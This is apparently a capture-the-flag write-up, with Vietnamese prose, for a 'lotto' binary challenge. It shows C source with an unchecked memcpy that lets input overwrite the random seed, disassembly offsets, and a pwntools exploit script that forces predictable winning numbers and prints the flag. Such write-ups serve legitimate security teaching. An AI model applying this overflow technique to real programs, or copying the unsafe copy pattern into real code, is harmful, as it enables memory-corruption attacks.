pwn - lotto
November 4, 2025
•
October 17, 2025
•
Easy
Source Code
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/param.h>
#include <sys/random.h>
#include <unistd.h>
#pragma pack(1)
#define WELCOMEMESSEGE \\
" .____ __ __ \\n" \\
" | | _____/ |__/ |_ ____ \\n" \\
" | | / _ \\\\ __\\\\ __\\\\/ \\\\ \\n" \\
" | |__( <_> ) | | | ( <_> )\\n" \\
" |_______ \\\\____/|__| |__| \\\\____/ \\n" \\
" \\\\/ \\n" \\
" Enter 6 numbers in range 1 to 49 \\n"
#define FAILMESSEGE " Better luck next time ;) \\n"
#define CORRECTNUMBERSMESSEGE " Number of correct guesses: "
unsigned userLookup[49] = {};
unsigned winingLookup[49] = {};
unsigned winingNumbers[6] = {};
typedef struct {
unsigned int correctNumbers;
char userInput[32];
char welcomeMessegeBuffer[sizeof(WELCOMEMESSEGE)];
unsigned int seed;
char failMessegeBuffer[sizeof(FAILMESSEGE)];
char correctNumbersMessegeBuffer[sizeof(CORRECTNUMBERSMESSEGE)];
} lottoData;
int main() {
lottoData lotto = {};
unsigned userNumbers[6] = {};
lotto.seed = 0;
getrandom(&lotto.seed, sizeof(lotto.seed), 0);
memcpy(lotto.welcomeMessegeBuffer, WELCOMEMESSEGE, sizeof(WELCOMEMESSEGE));
memcpy(lotto.failMessegeBuffer, FAILMESSEGE, sizeof(FAILMESSEGE));
memcpy(lotto.correctNumbersMessegeBuffer, CORRECTNUMBERSMESSEGE,
sizeof(CORRECTNUMBERSMESSEGE));
setbuf(stdout, NULL);
printf("%s\\n ", lotto.welcomeMessegeBuffer);
char input[sizeof(lottoData)] = {};
fgets(input, sizeof(lottoData), stdin);
memcpy(lotto.userInput, input, strlen(input));
srand(lotto.seed);
sscanf(lotto.userInput, "%u %u %u %u %u %u", &userNumbers[0], &userNumbers[1],
&userNumbers[2], &userNumbers[3], &userNumbers[4], &userNumbers[5]);
for (int i = 0; i < 6; ++i) {
winingNumbers[i] = rand() % 49 + 1;
}
for (int i = 0; i < 6; ++i) {
userLookup[userNumbers[i]]++;
winingLookup[winingNumbers[i]]++;
}
for (int i = 0; i < 49; ++i) {
if (userLookup[i] > 0 && winingLookup[i] > 0) {
lotto.correctNumbers += MIN(userLookup[i], winingLookup[i]);
}
}
if (lotto.correctNumbers == 6) {
system("cat flag");
} else {
printf("%s%u\\n", lotto.correctNumbersMessegeBuffer, lotto.correctNumbers);
printf("%s\\n", lotto.failMessegeBuffer);
}
}Mitigation

Solve
Ý tưởng đó là ghi đè seed để luôn random ra cùng 6 số.
Chúng ta so sánh code C và disassembly:
0x00005555555553c9 <+480>: mov rdx,rax
0x00005555555553cc <+483>: lea rax,[rbp-0x190]
0x00005555555553d3 <+490>: lea rcx,[rbp-0x310]
0x00005555555553da <+497>: add rcx,0x4
0x00005555555553de <+501>: mov rsi,rax
0x00005555555553e1 <+504>: mov rdi,rcx
0x00005555555553e4 <+507>: call 0x5555555550b0 <memcpy@plt>
0x00005555555553e9 <+512>: mov eax,DWORD PTR [rbp-0x1d9]
0x00005555555553ef <+518>: mov edi,eax
0x00005555555553f1 <+520>: call 0x555555555090 <srand@plt>memcpy(lotto.userInput, input, strlen(input));
srand(lotto.seed);lotto.userInput nằm tại rbp-0x310 và lotto.seed nằm tại rbp-0x1d9, chúng cách nhau 0x137 bytes. Vậy chúng ta cần ghi tổng 0x137 bytes kết thúc bằng AAAA để ghi đè seed thành 0x41414141.
Script
from pwn import *
import ctypes
p = process('./lotto.bin')
libc = ctypes.CDLL('./libc.so.6')
libc.srand.argtypes = [ctypes.c_uint]
libc.rand.restype = ctypes.c_int
libc.srand(0x41414141)
payload = b''
for i in range(6):
payload += str(libc.rand() % 49 + 1).encode() + b' '
payload = payload.ljust(311, b'A')
p.sendline(payload)
print(p.recvall(timeout=2))┌──(kali㉿kali)-[~/Desktop/BtS-2025-Writeups/pwn/lotto/challenge]
└─$ py solve.py
[+] Starting local process './lotto.bin': pid 433180
[+] Receiving all data: Done (306B)
[*] Process './lotto.bin' stopped with exit code 0 (pid 433180)
b' .____ __ __ \\n | | _____/ |__/ |_ ____ \\n | | / _ \\\\ __\\\\ __\\\\/ \\\\ \\n | |__( <_> ) | | | ( <_> )\\n |_______ \\\\____/|__| |__| \\\\____/ \\n \\\\/ \\n Enter 6 numbers in range 1 to 49 \\n\\n BtSCTF{m4k3_y0ur_0wn_1uck}\\n'